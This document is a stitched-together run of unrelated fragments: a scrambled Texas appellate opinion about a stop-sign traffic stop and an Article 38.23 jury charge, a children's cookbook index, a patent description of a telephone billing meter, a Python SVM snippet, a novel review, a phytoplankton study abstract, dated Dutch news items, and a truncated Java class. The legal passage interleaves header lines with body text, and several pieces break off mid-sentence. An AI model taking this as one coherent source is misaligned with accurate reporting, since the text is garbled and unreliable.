PETITION FOR DISCRETIONARY REVIEW. FROM THE On New Year's Eve, 1998, Sergeant Stanford was SECOND COURT OF APPEALS. WISE COUNTY. "working radar" at the intersection of Crittendon Street and Cates Street in Bridgeport. He testified that he saw a DISPOSITION: Court of Appeals' judgment affirmed. small blue Chevy pick-up fail to come to a complete stop at the stop sign. Stanford followed the vehicle with his lights flashing and after a few blocks the truck came to a COUNSEL: FOR APPELLANT: KEN MAHAFFEY, stop. Stanford approached the truck and identified the AUSTIN. driver [*2] as Middleton. Middleton consented to a search, and upon searching the truck, Stanford found FOR STATE: BARRY'S GREEN, DA, DECATUR. methamphetamine behind the ashtray. JUDGES: Keasler, J., announced the judgment of the Middleton testified that he stopped at the stop sign. Court and delivered an opinion, in which Keller, P.J., and Womack and Hervey, JJ., joined. Holcomb and Cochran, At the conclusion of testimony, defense counsel JJ., concurred in the result. Womack, J. filed a concurring requested a charge pursuant to Art. 38.23: opinion. Price, J., filed a dissenting opinion, joined by I would request the Charge, under Article 38.23 of Meyers and Johnson, JJ. the Code of Criminal Procedure at the beginning of top of Page 2, I would ask that it be inserted. "Our law OPINION BY: Keasler provides that any evidence seized in violation of the United States Constitution, the Texas State Constitution, OPINION the laws of the State of Texas or of this county, shall not [451] A police officer said he saw David be admitted into evidence in any criminal proceeding." Middleton run a stop sign, but Middleton claimed that he Basically, I would ask for that charge as a descriptive stopped. The officer pulled Middleton over and found of what the law is for the next two paragraphs, your drugs. The jury was instructed to disregard this evidence Page 2 125 S.W.3d 450, 452; 2003 Tex. Crim. App. LEXIS 73, 2 Honor. reasonable doubt as to whether or not that stop was valid, you don't consider anything that was a result of that stop. The court denied Middleton's request but did include the following language in the charge: ** The court further instructs you that before you may The evidence is - The evidence is that there is some consider the
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187, 187, 34706, 266, 434, 20301, 13, 22462, 2534, 342, 1108, 187, 187, 84, 34485, 21968, 1157, 1108, 187, 187, 46896, 2159, 7083, 461, 43877, 1108, 187, 187, 46896, 30736, 27, 36766, 10238, 246, 12863, 1108, 187, 187, 85, 9821, 27725, 12364, 187, 187, 46970, 1507, 13, 418, 6836, 434, 17844, 12840, 187, 187, 2140, 343, 314, 27725, 342, 458, 1441, 13, 1795, 43363, 708, 12173, 12364, 1108, 187, 187, 424, 53, 424, 187, 187, 85, 317, 375, 342 ]	fruit & seed bread loaf – pink fish sandwich – roly-poly sandwich – tasty bread tarts – broccoli: swirly pasta with leek, broccoli & cheese sauce – brushing bumblebee cakes – burgers, oven-baked herby – butter: creaming with sugar rubbing into flour buttercream – C cakes bumblebee cakes – Ella's raspberry & white chocolate cake – carrots: beef & corn tortilla tubes red dip with crunchy veggies – celery, crunchy cheese: cheese scones cheesy stuffed peppers grilled ham bagel mini puffy tomato tarts – oven-baked herby burgers – swirly pasta with leek, broccoli & cheese sauce – tacos with soya beans & coriander – see also cream cheese chicken: all-in-one chicken – crunchy paprika chicken – lemony chicken – chilli: tacos with soya beans & coriander – chocolate: chocolate kisses – Ella's marshmallow & chocolate squares – Ella's raspberry & white chocolate cake – melting, pic 'n' mix hot choc – citrus puddings – colanders, draining in coriander leaves: fish curry with rice – green dip with corn chips – tacos with soya beans & coriander – courgettes: minty lamb couscous couscous, minty lamb cranberries: crunchy celery fruit & seed bread loaf – cream cheese: cucumber snacks Lola's strawberry sweets pepper pasta sauce red dip with crunchy veggies – roly-poly sandwich – crumble, what's-in-season fruit – cucumber snacks curry: fish curry with rice – cutting techniques,, D dips: green dip with corn chips – red dip with crunchy veggies – DIY pizzas – dough, kneading draining in a colander dried fruit: Ella's marshmallow & chocolate squares – fruit & seed bread loaf – fruit scones mini fruit pies drinks: Finley's lemonberryade – fizzy strawberry crush – pic 'n' mix hot choc – tropical smoothie E easy minestrone soup – eggs: cracking herby scrambled eggs – pink fish sandwich – separating – tasty bread tarts – whisking whites Ella's marshmallow & chocolate squares – Ella's raspberry & white chocolate cake – equipment,, F Finley's lemonberryade – fish curry with rice – fizzy strawberry crush – flour, rubbing butter into flower & herb ice bowl – folding freezing fruit: berry crunch fruit & seed bread loaf – fruit scones mini fruit pies – roasted soft fruit – stripey ice lollies three fruit salad – tropical smoothie washing what's-in-season fruit crumble – G garlic, grating great Granny's smoked haddock & spinach spuds – green dip with corn chips – grilling H haddock: great Granny's smoked haddock & spinach spuds – ham: grilled ham bagel ham & pineapple pizzas – herby scrambled eggs – IJ ice bowl, flower & herb – ice lollies, stripey jars, opening & closing K kneading dough knives L lamb: minty lamb couscous laying table, leeks: swirly pasta with leek, broccoli & cheese sauce – lemon: Finley's lemonberryade – lemony chicken – magic citrus puddings – lettuce: pretty prawn cocktails lining baking tins Lola's strawberry sweets lollies, stripey ice M magic citrus puddings – marinating, marshmallow & chocolate squares – mashing measuring, melon: three fruit salad – melting chocolate, milk: pic 'n' mix hot choc – minestrone soup – mini fruit pies – mini puffy tomato tarts – minty lamb couscous N nectarines: roasted soft fruit – what's-in-season fruit crumble – noodles: rainbow stir-fry – nori seaweed: super sushi rolls – nuts: fruit & seed bread loaf – O oats: what's-in-season fruit crumble – olives: all-in-one chicken – omelettes: super sushi rolls – orange juice: bumblebee cakes – fizzy strawberry crush – three fruit salad – tropical smoothie what's-in-season fruit crumble – oven-baked herby burgers – ovens P pasta, easy minestrone soup – pepper pasta sauce swirly pasta with leek, broccoli & cheese sauce – tuna pasta sauce pastry, sweet shortcrust – pawpaw: tropical smoothie passion fruit: tropical smoothie peaches: roasted soft fruit – what's-in-season fruit crumble – peanut butter: crunchy celery peas: easy minestrone soup – tasty bread tarts – peppers: all-in-one chicken – cheesy stuffed peppers pepper pasta sauce pestles pesto: mini puffy tomato tarts – pic 'n' mix hot choc – pies, mini fruit – pineapple: ham & pineapple pizzas – pink fish sandwich – pizzas: DIY pizzas – ham & pineapple pizzas – plums: roasted soft fruit – what's-in-season fruit crumble – potatoes: baking jacket potatoes great Granny's smoked haddock & spinach spuds – prawns: pretty prawn cocktails super sushi rolls – R rainbow stir-fry – raisins: Ella's marshmallow & chocolate squares – raspberries: chocolate kisses – Ella's raspberry & white chocolate cake – Finley's lemonberryade – flower & herb ice bowl – red dip with crunchy veggies – rice, fish curry with rice – super sushi rolls – roasting rolling roly-poly sandwich – S salad bar with Susan's dressing – salmon: pink fish sandwich – sandwiches: pink fish sandwich – roly-poly sandwich – scissors scones & jam – seaweed: super sushi rolls – seeds: fruit & seed bread loaf – shaping, shortbread shapes – smoked haddock: great Granny's smoked haddock & spinach spuds – smoked salmon: roly-poly sandwich – super sushi rolls – smoothie, tropical soup, easy minestrone – soya beans: easy minestrone soup – tacos with soya beans & coriander – spinach: great Granny's smoked haddock & spinach spuds – spoons: measuring with scooping with spreading stir-fry, rainbow – stirring strawberries fizzy strawberry crush – flower & herb ice bowl – Lola's strawberry sweets stripey ice lollies sugar, creaming butter with Susan's dressing, salad bar with – sushi rolls, – sweet shortcrust pastry – sweetcorn: tasty bread tarts – tuna pasta sauce sweets, Lola's strawberry swirly pasta with leek, broccoli & cheese sauce – T tacos with
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13, 3969, 281, 247, 14932, 1076, 273, 253, 7358, 11699, 22540, 10, 1246, 327, 253, 941, 1685, 26138, 347, 247, 906, 273, 9454, 273, 3969, 10149, 273, 253, 15487, 3307, 13, 3066, 253, 7358, 11699, 3301, 18488, 25255, 13, 342, 253, 2953, 29810, 32900, 1146, 20876, 281, 247, 330, 24, 2127, 3560, 407, 253, 2953, 273, 253, 7358, 11699, 22540, 313, 2887, 5270, 309, 13, 5382, 854, 481, 187, 187, 510, 5133, 275, 534, 253, 3302, 285, 1735, 2180, 7467, 285, 2105, 6298, 403, 2530, 281, 253, 4329, 2706, 30805, 13, 27880, 13, 17558, 285, 29501, 13, 327, 3104, 29226, 281, 35145, 2975, 13, 588, 320, 625, 4518, 7192, 407, 3806, 281, 7705, 15, 854, 13, 8335, 330, 13, 534, 2722, 253, 29009, 323, 5277, 753, 6298, 347, 973, 347, 253, 3302, 2180, 2281, 3541, 285, 1735, 2180, 2281, 3541, 6298, 281, 253, 25993, 254, 25098, 327, 3104, 26879, 285, 22856, 13, 2975, 15, 187, 187, 510, 3541, 29009, 2011, 275, 7705, 15, 854, 313, 6689, 1507, 444, 14, 39, 48169, 253, 3302, 285, 1735, 2180, 7467, 285, 2105, 6298, 11794, 323, 313, 74, 10, 1980, 5841, 1561, 2931, 1980, 2281, 18192, 13, 313, 2886, 10, 1327, 14, 6790, 30899, 5841, 1907, 4181, 14, 6820, 4142, 13, 285, 313, 12211, 10, 1327, 14, 6790, 30899, 5841, 1907, 4229, 4142, 323, 5841, 875, 17095, 2281, 12127, 15, 380, 7467, 285, 2281, 6298, 323, 1980, 5841, 403, 4561, 407, 247, 33643, 2281, 3541, 31507, 327, 1386, 27360, 13, 285, 403, 9904, 281, 247, 25993, 254, 32526, 15, 380, 3541, 31507, 310, 9713, 407, 247, 33643, 3541, 2953, 14156, 29669, 13, 534, 15693, 247, 3541, 2953, 2625, 327, 1386, 25911, 13, 275, 2380, 281, 313, 74, 10, 247, 673, 273, 1388, 16, 1201, 273, 2129, 16, 11171, 4705, 8212, 2625, 432, 253, 1264, 673, 2281, 2803, 46819, 30717, 327, 1386, 26711, 13, 313, 2886, 10, 247, 2625, 327, 1386, 34958, 3969, 281, 253, 11265, 1180, 1146, 1925, 13, 432, 253, 1180, 1925, 4328, 36260, 35786, 13, 313, 12211, 10, 247, 2625, 327, 1386, 26675, 3969, 281, 253, 1180, 273, 253, 11265, 432, 534, 253, 1067, 310, 1146, 1160, 13, 432, 253, 1180, 6789, 4328, 36260, 35168, 13, 285, 313, 400, 10, 253, 3541, 2953, 2625, 327, 1386, 28195, 432, 253, 2281, 3541, 2953, 14156, 33723, 13, 534, 310, 20876, 281, 247, 3541, 2953, 2127, 330, 23, 3560, 407, 253, 2953, 273, 253, 1798, 6799, 3541, 4328, 313, 2887, 5270, 309, 13, 5382, 608, 481, 380, 2953, 2625, 327, 1386, 28195, 310, 7960, 271, 5795, 1039, 273, 15974, 253, 3541, 31507, 13, 323, 6378, 273, 19703, 253, 9410, 273, 247, 1798, 894, 10445, 327, 253, 2087, 4096, 3148, 49914, 1458, 313, 2887, 7705, 15, 495, 481, 380, 3541, 31507, 310, 247, 1239, 760, 3541, 13, 594, 326, 697, 9410, 2550, 320, 4391, 13, 3707, 407, 2714, 5609, 390, 407, 40944, 1529, 3541, 627, 1542, 15, 187, 187, 510, 1180, 6789, 4328, 36260, 5049, 35168, 14488, 247, 5865, 2625, 327, 1386, 32193, 3969, 281, 253, 1180, 273, 253, 6789, 11265, 285, 247, 25175, 2625, 327, 1386, 32047, 7809, 1880, 253, 6789, 11265, 310, 275, 253, 1072, 1980, 8232, 347, 253, 1180, 273, 253, 11265, 1146, 1925, 15, 1310, 594, 13, 253, 5865, 2625, 327, 1386, 32193, 3969, 281, 253, 1180, 273, 253, 6789, 11265, 310, 50088, 281, 1386, 26675, 281, 2085, 247, 3969, 3280, 2625, 323, 253, 2953, 14156, 29669, 281, 6635, 271, 2953, 2625, 327, 1386, 25911, 281, 253, 33643, 2281, 3541, 31507, 15, 187, 187, 510, 6789, 11265, 1180, 25175, 2625, 327, 1386, 32193, 310, 2530, 407, 247, 6789, 11265, 1180, 3541, 31242, 13, 534, 310, 9904, 281, 253, 941, 1685, 26138, 13, 342, 253, 3541, 31242, 1146, 11410, 407, 253, 2953, 29810, 28043, 281, 4657, 253, 941, 1246, 327, 253, 941, 1685, 672, 253, 2625, 1246, 327, 253, 2953, 1685, 19372, 10140, 281, 9454, 273, 10149, 273, 253, 15487, 3307, 11365, 247, 330, 883, 2127, 313, 2887, 5270, 309, 13, 5382, 655, 481, 187, 187, 510, 11265, 1180, 281, 320, 1925, 310, 8523, 5966, 715, 253, 15487, 3307, 347, 3786, 2529, 13, 285, 4620, 327, 253, 941, 1685, 26138, 15, 380, 1925, 1180, 310, 50088, 281, 253, 1180, 1925, 4328, 36260, 35786, 949, 247, 1980, 2170, 2127, 7277, 5049, 31399, 13, 534, 5049, 313, 74, 10, 15693, 271, 8046, 2625, 281, 253, 1180, 1925, 4328, 36260, 35786, 327, 1386, 29949, 672, 253, 1180, 1146, 1925, 310, 247, 1980, 1180, 285, 313, 2886, 10, 17581, 253, 5865, 2625, 3969, 281, 253, 1180, 1146, 1925, 281, 247, 25993, 254, 7469, 327, 1386, 24271, 15, 380, 643, 3280, 281, 253, 25993, 254, 7469, 310, 247, 5865, 2625, 327, 1386, 32193, 3969, 281, 253, 1180, 273, 253, 6789, 11265, 15, 380, 25993, 254, 7469, 310, 2686, 247, 941, 14, 83, 20309, 5049, 534, 16000, 253, 5865, 6298, 327, 3104, 32193, 285, 24271, 281, 320, 9904, 281, 253, 3541, 2953, 14156, 29044, 13, 949, 1386, 29980, 13, 39347, 2625, 310, 1246, 1146, 594, 9904, 949, 253, 25993, 254, 7469, 15, 12571, 281, 253, 5133, 273, 4254, 273, 253, 1313, 2158, 2813, 13, 347, 3786, 2529, 13, 253, 5865, 6298, 327, 3104, 26138, 285, 32193, 403, 1246, 387, 1027, 2069, 15, 187, 187, 510, 3541, 2953, 14156, 29044, 15693, 271, 2953, 2625, 327, 1386, 27639, 281, 2953, 253, 1980, 8232, 3541, 26402, 281, 2847, 753, 3541, 281, 2085, 327, 3453, 1386, 32047, 10445, 13, 5865, 6298, 3969, 281, 313, 74, 10, 253, 1180, 273, 253, 1980, 8232, 275, 534, 253, 6789, 11265, 310, 17860, 285, 313, 2886, 10, 253, 1180, 273, 253, 1980, 8232, 275, 534, 253, 1925, 11265, 310, 17860, 15, 380, 6789, 1180, 36260, 35168, 840, 17581, 253, 3969, 1980, 8232, 25344, 2625, 281, 1386, 26675, 281, 253, 1980, 3541, 2953, 14156, 29669, 13, 1223, 253, 1180, 1925, 4328, 36260, 35786, 17581, 253, 3969, 1980, 8232, 25344, 2625, 281, 1386, 34958, 13, 281, 253, 2953, 14156, 29669, 15, 3308, 253, 2953, 14156, 29669, 310, 2530, 342, 3280, 6298, 13, 734, 40342, 13, 7809, 253, 1980, 18192, 275, 534, 253, 6789, 285, 1925, 4014, 15791, 403, 17860, 15, 2896, 17617, 753, 1980, 8232, 1491, 347, 973, 347, 253, 673, 273, 1388, 3966, 904, 1491, 2530, 327, 1386, 26711, 13, 253, 1980, 3541, 2953, 14156, 29669, 15693, 271, 4569, 2953, 2625, 281, 2847, 253, 2281, 3541, 31507, 281, 3453, 253, 3969, 1067, 4142, 327, 1386, 27360, 15, 187, 187, 3039, 247, 11265, 1180, 281, 320, 1925, 556, 644, 5966, 3066, 253, 15487, 3307, 13, 715, 1097, 253, 941, 8749, 26240, 285, 253, 2953, 8749, 25985, 13, 253, 2953, 14156, 27446, 15693, 247, 2625, 327, 253, 2953, 1685, 19372, 7809, 326, 253, 1491, 21654, 327, 253, 941, 1685, 10140, 281, 247, 11265, 1180, 281, 320, 1925, 15, 831, 1491, 13, 275, 5865, 830, 327, 253, 2953, 1685, 19372, 13, 310, 9904, 281, 253, 2953, 29810, 31950, 13, 534, 15693, 247, 46819, 8046, 2625, 327, 1386, 30761, 13, 281, 8046, 4254, 273, 253, 1980, 2170, 2127, 46819, 31399, 13, 253, 1375, 2170, 2127, 46819, 31499, 13, 253, 4229, 30899, 2170, 2127, 46819, 27322, 13, 285, 253, 643, 30899, 2170, 2127, 46819, 33000, 15, 380, 1375, 2170, 2127, 46819, 31499, 26662, 253, 1180, 273, 253, 1925, 11265, 327, 1386, 26138, 342, 271, 2170, 2127, 2829, 26506, 7141, 15308, 281, 313, 74, 10, 6635, 271, 8046, 2625, 281, 253, 1375, 4778, 3541, 2953, 14156, 32236, 327, 1386, 30581, 285, 313, 2886, 10, 4564, 253, 2127, 9999, 253, 1925, 11265, 1180, 281, 253, 3541, 2953, 14156, 31389, 285, 253, 4778, 2953, 14156, 29117, 327, 1386, 33198, 15, 380, 3541, 2953, 14156, 31389, 310, 671, 20876, 281, 253, 6789, 11265, 1180, 432, 253, 36260, 35168, 327, 1386, 33152, 13, 253, 673, 273, 1388, 1491, 13, 3966, 904, 432, 253, 1264, 673, 2281, 2803, 46819, 30717, 327, 1386, 26711, 13, 285, 313, 255, 1529, 673, 10, 281, 271, 2953, 2625, 432, 253, 2953, 14156, 33723, 327, 1386, 28195, 313, 9453, 352, 310, 6799, 281, 2953, 247, 1798, 3541, 894, 4328, 1561, 253, 14156, 31389, 582, 281, 6635 ]	minutes. Thus the call duration signal on line 225 indicates the total amount of time that the call has been in progress, while the time billed display 12 indicates the time for which the calling party is being charged, regardless of whether the actual duration of the call corresponds to said time. The adder-accumulator 261 is reset at the end of a call by the stop-count signal on line 185. The billing period signal on line 260 is also coupled to set the counting capacity of the down-counter 199 which counts the one second time clock pulses on line 227 over a time period initiated by the start-count signal on line 184 and terminated by the stop-count signal on line 185. At the end of each billing period, the down-counter 199 reaches a zero count, i.e. the capacity corresponding to the duration of said time period as set by the signal on line 260, and provides a carry-add signal to the adder-accumulator 263 on line 264, causing the corresponding billing period cost from the multiplexer 265 on line 266 to be added to the contents of the accumulator 263. The multiplexer 265 couples to the output line 266 thereof (i) the first period cost signal from the first or initial period cost latch 267 on line 223, and thereafter (ii) the next period cost signal on line 224 from the next period cost latch 254, to set output terminal 266 thereof. Thus the signal on line 266 at all times indicates the cost of the corresponding billing time period. At the end of each billing time period, the carry-add signal on line 264 causes the corresponding cost encoded signal on line 266 to be added to the contents of the accumulator 263, so that the output signal of the accumulator 263 on line 268 corresponds to the amount billed for the call in progress. The amount billed signal on line 268 is selectively coupled to the amount billed display 11 via a multiplexer 269 and the decoder driver 251. The amount billed signal on line 268 is also selectively coupled to a date-to-month adder-accumulator 270 via a multiplexer 271, to add the cost of the call in progress to the total costs of calls previously made from the calling telephone from the beginning of the corresponding month to the current date. Thus the output of the accumulator 270 on line 272 indicates the total amount billed for the corresponding month to date. The multiplexer 269 is controlled by an address decoder 273 coupled to the address bus 192 and responsive to depression of the special key A 9see Table I, item 9) to display the month-to-date amount billed, as provided on line 272, on the amount billed display readout 11, with the light 17 (see FIG. 3) being simultaneously illuminated. Whenever the special key A is not depressed, the amount billed signal on line 268 for the call in progress is displayed on the readout 11. The date-to-month adder-accumulator ceases to accumulate further any amounts corresponding to the call in progress, when the stop-count signal is received on line 185. At the end of each month, it is necessary to reset the adder accumulator 270. Also, it may be desirable from time to time to set the contents of the adder-accumulator 270 to a preset value. This setting or resetting of the accumulator 270 is accomplished via the multiplexer 271, which is enabled by a signal from the address decoder 274 to enter therein initial data (which could if desired be zero, corresponding to a resetting of the accumulator 270) present on the data bus 193 as a result of depression of corresponding keys of the keyboard 22, via the accumulator load gates 275, with the address decoder 274 being responsive to a C7 code followed by the address of the accumulator 270 (see Table I, item 8). The manner in which the initial and next period duration and cost signals are provided to the latches 259, 267, 256 and 254, on lines 279 to 282 respectively, will be more clearly understood by reference to FIG. 8, sheet C, which shows the circuitry for providing said signals as well as the initial period rate memory and next period rate memory signals to the multiplexer 213 on lines 223 and 224, respectively. The memory circuitry shown in FIG. 8 (sheets E-F computes the initial and next period duration and cost signals separately for (i) local calls within defined local rate zones, (ii) non-local interstate calls having distance-dependent rates, and (iii) non-local interstate calls having fixed rates for calls between predetermined rate centers. The duration and rate signals for local calls are generated by a locality rate memory 284 on line 285, and are coupled to a multiplexer 286. The memory 284 is addressed by a locality memory address generator 287, which generates a memory address signal on line 288, in response to (i) a time of day/day of week/holiday composite signal from the three time rate factor comparator 289 on line 290, (ii) a signal on line 291 corresponding to the telephone number being called, from the number called location latch 292, (iii) a signal on line 293 corresponding to the number of the telephone from which the call is being made, from the number calling location latch 294, and (iv) the memory address signal on line 295 from the rate memory address generator 296, which is responsive to a memory address code C6 followed by the address of the particular desired memory location (see Table I, item 5). The address signal on line 295 is merely an alternative way of addressing the memory 284, for purposes of displaying the contents of a particular cell thereof on the general purpose display readout 15 (see FIG. 3). The memory 284 is a read only memory, so that its contents cannot be changed, except by special techniques or by substituting another memory therefor. The number calling location latch circuit 294 receives a digital signal on line 276 corresponding to the number of the calling telephone and a coded signal on line 297 indicating whether the calling telephone is in the same local zone as the number of the telephone being called. If so, the digital signal on line 276 corresponding to the number of the calling telephone is routed to line 293 to provide a corresponding input signal for the address generator 287 to generate an address signal on line 288 to the locality rate memory 284. The calling telephone number coded signal on line 276 is provided by a calling telephone number memory 278, which is coupled to the data bus 193, with the memory 278 being enabled by the address decoder 277 to store the data present on the data bus when the signal present on the address bus 192 corresponds to depression of keys of the keyboard 22 generating a C11 code (see Table I, item 19). The telephone number to be called is initially entered into the keyboard 22 as previously described, and appears on the data bus 193. The called number is routed to the number called location latch 292 through a local area code compare circuit 298, which circuit (i) generates an enable signal to the number called location latch 292 on line 299 when the number being called is a local number and (ii) couples the digital signal corresponding to the number being called to a multiplexer 300 on line 301. The other input to the multiplexer 300 is a digital signal on line 276 corresponding to the number of the calling telephone. The multiplexer 300 is actually a data-routing circuit which permits the digital signals on lines 276 and 301 to be coupled to the memory address generator 302, through line 303, whichever signal is present being so coupled through the multiplexer 300. Due to the manner of operation of the metering device, as previously described, the digital signals on lines 193 and 276 are present at different times. The memory address generator 302 generates an address signal on line 304 to address the local zone memory 305 to cause said memory to provide on output line 297 thereof, digital signals corresponding to (i) the number of the local zone in which the calling telephone is situated and (ii) the number of the local zone in which the called telephone is situated. The calling number latch 294 then couples the corresponding local zone designation signal to line 293 to the local memory address generator 287, while the number called location latch 292 couples the corresponding local zone designation signal to line 291, to the address generator 287. Thus the address generator 287 is provided with input signals, inter alia, indicating the local zones in which the calling and called telephones are situated. By utilizing said local zone information as well as the time of day etc., information provided on line 290, the local memory address generator 287 generates an appropriate address signal to cause the rate memory 284 to output the corresponding call rates on line 285. When a telephone number to be called has been entered via the keyboard 22, into both the data register 181 and the address register 182, the address generator 191 generates a signal on the address bus 192 indicating that the information presently on the data bus corresponds to a telephone number to be called. This information, in digital form on the address bus 192, is coupled to the address decoder 306, which generates a comparator enable signal on line 307, to enable operation of the local area code comparator 298, the state area code comparator 308, the fixed interstate area code comparator 310, and the other interstate area code comparator 309. The state area code comparator 308 compares the number of the called telephone on line 193 with an area code table internally stored therein to (i) generate an enable signal to the state variable memory address generator 311 on line 312 and (ii) couple the code representing the called telephone number to the memory address generator 313 and the variable address generator 315 on line 314. The memory address generator 313 is also responsive to the calling telephone number from the latch 294 on line 316, the time of day information, etc., from the three time rate factor comparator 289 on line 290, and (at another time) to an address signal from the address generator 296 on line 295 (when it is desired to address a particular memory cell location within the generator 313), to generate
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34615, 846, 344, 2959, 247, 4092, 4322, 534, 253, 3513, 10343, 281, 2508, 15, 733, 310, 417, 1929, 1880, 627, 310, 667, 4602 ]	Eval = kernelTrans(sVs,datMat[i,:],('rbf', k1)) predict=kernelEval.T * multiply(labelSV,alphas[svInd]) + b if sign(predict)!=sign(labelArr[i]): errorCount += 1 print("the test error rate is: %f" % (float(errorCount)/m)) Day: June 18, 2019 With her daughter to care for and her abuela to help support, high school senior Emoni Santiago has to make the tough decisions, and do what must be done. The one place she can let her responsibilities go is in the kitchen, where she adds a little something magical to everything she cooks, turning her food into straight-up goodness. Still, she knows she doesn’t have enough time for her school’s new culinary arts class, doesn’t have the money for the class’s trip to Spain — and shouldn’t still be dreaming of someday working in a real kitchen. But even with all the rules she has for her life — and all the rules everyone expects her to play by — once Emoni starts cooking, her only real choice is to let her talent break free. Kim’s Review: Best. Cover. Ever. Easily my favorite of the year so far. This is one that I bought exclusively for the cover, it’s that gorgeous! This is my first book by Acevedo and after reading it, I might just get her other book. I liked this story a lot. She kept it real and without much embellishment or polish. Emoni is believable and completely likable. She’s a young person who doesn’t hide from her responsibilities or the consequences of her actions. I loved her passion for food. While I thought this book was going to fall into the same problem as Fangirl, a student refusing to take the wisdom of the teachers and quitting something because it’s just too hard, Emoni surprised me and matured throughout the story. I also liked the look into the life of a pregnant teen. While I don’t believe in sex outside of marriage, it happens and of course, accidental pregnancies crop up as well. Emoni and her grandmother worked hard to adapt to the new baby and I appreciated how Acevedo commended the hard work and effort put into the new life and responsibilities. I also now want to go on a food tour of Spain! Overall, this is a sweet read, that combines happy and sad perfectly. There was a little bit of that woke focus on race, but thankfully, it wasn’t much. I really liked this book and absolutely recommend it!Enhanced nutrient stress by reducing the dilution rate (D) from D = 0.3 d−1 to D = 0.1 d−1 (D = μ) induced the strongest response in E. huxleyi. At μ = 0.3 d−1, PP was significantly higher at elevated CO2 and temperature and DO14C production correlated to PO14C production in all treatments, resulting in similar percentages of extracellular release (PER; (DO14C production/PP) × 100) averaging 3.74 ± 0.94%. At μ = 0.1 d−1, PO14C production decreased significantly, while exudation of DO14C increased. Thus, indicating a stronger partitioning from the particulate to the dissolved pool. Maximum PER of 16.3 ± 2.3% were observed at μ = 0.1 d−1 at elevated CO2 and temperature. While cell densities remained constant within each treatment and throughout the experiment, concentrations of HMW-dCCHO, pCCHO and TEP were generally higher under enhanced nutrient stress. At μ = 0.3 d−1, pCCHO concentration increased significantly with elevated CO2 and temperature. At μ = 0.1 d−1, the contribution (mol % C) of HMW-dCCHO to DOC was lower at elevated CO2 and temperature while pCCHO and TEP concentrations were higher. This was most pronounced under greenhouse conditions. Our findings suggest a stronger transformation of primary produced DOC into POC by coagulation of exudates under nutrient limitation. Our results further imply that elevated CO2 and temperature will increase exudation by E. huxleyi and may affect organic carbon partitioning in the ocean due to an enhanced transfer of HMW-dCCHO to TEP by aggregation processes.This project sets out to demonstrate that media coverage can degrade a country's image by using selective news without context. It uses the Netherlands as an example. It is a reaction to the frequent misrepresentations of Israel in many ways in major media, including those of the Netherlands. Thursday, January 30, 2014 Lilianne Ploumen, Minister of Foreign Trade (Labor) has praised the CoolCut Textile firm as a firm which is ahead of others because its code of conduct forbids child employment and exploitation. She also praised the company because of the way it promotes sustainability. In November however, she said that CoolCut didn’t take its responsibility toward workers seriously. Thereupon, Roland Kahn, Director of CoolCut, took Ploumen to court. Perhaps to avoid the court case, Ploumen changed her opinion. On a hidden camera, Kahn called Ploumen “a c*nt minister.” www.elsevier.nl/Politiek/nieuws/2014/1/Minister-Ploumen-schrijft-reclamefolder-CoolCat-1452304W Wednesday, January 29, 2014 At the ROC Amsterdam school, stolen exams have been offered for purchase via SMS. More than 400 students of the school in the section for legal services have to pass 825 new exams. A detective bureau has been hired by the school to investigate how many people are involved in the theft and spreading of exams. The fraud has become public at the time when the criminal case against 11 suspects of theft and receiving of exams at the Islamic high school Ibn Ghaldoun in Rotterdam is before the judges. www.telegraaf.nl/binnenland/22250697/__Grote_examenfraude_A_dam__.html Tuesday, January 28, 2014 The 2013 annual report of the monitoring point for discrimination on the internet (MDI) mentions that once again, the largest category of discrimination on the Dutch internet concerns anti-Semitism, with 250 mentions out of a total of 924. This is the more remarkable in view of the small size of the Dutch Jewish community. The second largest category of discrimination concerns Muslims, with 222 mentions. The third largest concerns people of black origin. This is a major increase which can be explained due to the debate on Black Pete. The continuous increase of discrimination on social media such as Twitter, Facebook and YouTube as well as mainstream websites is also remarkable. The MDI says that this trend of “normalization of discrimination” is increasing in recent years and is expected to increase even further. www.meldpunt.nl Monday, January 27, 2014 Russian Human Rightist and former Chess World Champion, Gary Kasparov criticized the delegation of the Netherlands to the Winter Olympics in Sotsji, Russia. He said that the Netherlands with an important delegation including King Willem-Alexander, Queen Maxima and Prime Minister Mark Rutte, “serve the interests of the paranoid dictator Putin.” Kasparov added, “The only thing that Putin aims for is a nice picture where he is surrounded by as many other government leaders as possible.” www.volkskrant.nl/vk/nl/2698/Sport/article/detail/3584398/2014/01/27/Kasparov-hekelt-Nederlandse-delegatie-Sostji.dhtml Sunday, January 26, 2014 The Volkskrant daily, consulting experts writes, that the new Dutch safety system for the railways may become a huge disaster due to a conflict between the operating company NS and the infrastructure company ProRail. Experts fear problems of the magnitude of the Fyra fast train system, which had to be abandoned. The Ministry of Infrastructure works together with the rail sector to introduce the system. Experts say that the system however, is still in development and has not been tested anywhere in Europe in a system as heavily loaded as the Dutch one. www.volkskrant.nl/vk/nl/2680/Economie/article/detail/3580190/2014/01/20/Nieuw-spoorsysteem-dreigt-Fyra-achtig-fiasco-te-worden.dhtml Thursday, January 23, 2014 Minister Jet Bussemaker (Labor party) has morally distanced herself from the statements made by Rector Ahmet Akgunduz of the Islamic University in Rotterdam. There were several reports that he has anti-Western and anti-Democratic viewpoints. She said that she can do little, as there are no official complaints against the rector. The minister has asked the accreditation organization of the university to carefully monitor this behavior. www.volkskrant.nl/vk/nl/2686/Binnenland/article/detail/3582046/2014/01/22/Zorgen-minister-om-Islamitische-Universiteit.dhtml Wednesday, January 22, 2014 Security around the house of Rotterdam Mayor Ahmed Aboutaleb (Labor) was strengthened after he received a serious threat which the police decline to detail. It is not known whether there is any connection
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11459, 186, 6942, 516, 426, 891, 15, 8384, 1874, 4888, 988, 186, 605, 1089, 3969, 619, 8378 ]	Method findMethod(String name) { Method m = mt.get(name); if (m!= null) return m; if (!have_nonvoid_parent)return null; return parent_class.findMethod(name); } / public Method findMethod(MethodSignature signature) { Method m = mt.get(signature); //return null; // TODO why? if (m!= null) return m; if (!have_nonvoid_parent)return null; return parent_class.findMethod(signature); } /* Get just out method, don't search up / public Method getMethod(int ordinal) { return mt.get(ordinal); } public Method getDefaultConstructor() { // TODO hack? if(isInternal()) return mt.get(0); List<PhantomType> args = new LinkedList<PhantomType>(); // no args MethodSignature signature = new MethodSignature(Method.CONSTRUCTOR_M_NAME, args); Method m = mt.get(signature); // TODO hack //if( (m == null) && ".internal.object".equals(getName()) ) // m = mt.get(0); // Method 0 is object defalut constructor return m; } static boolean isSameArgs(Method m1, Method m2) { Iterator<ArgDefinition> i1 = m1.getArgIterator(); Iterator<ArgDefinition> i2 = m2.getArgIterator(); while (i1.hasNext() && i2.hasNext()) { ArgDefinition ad1 = 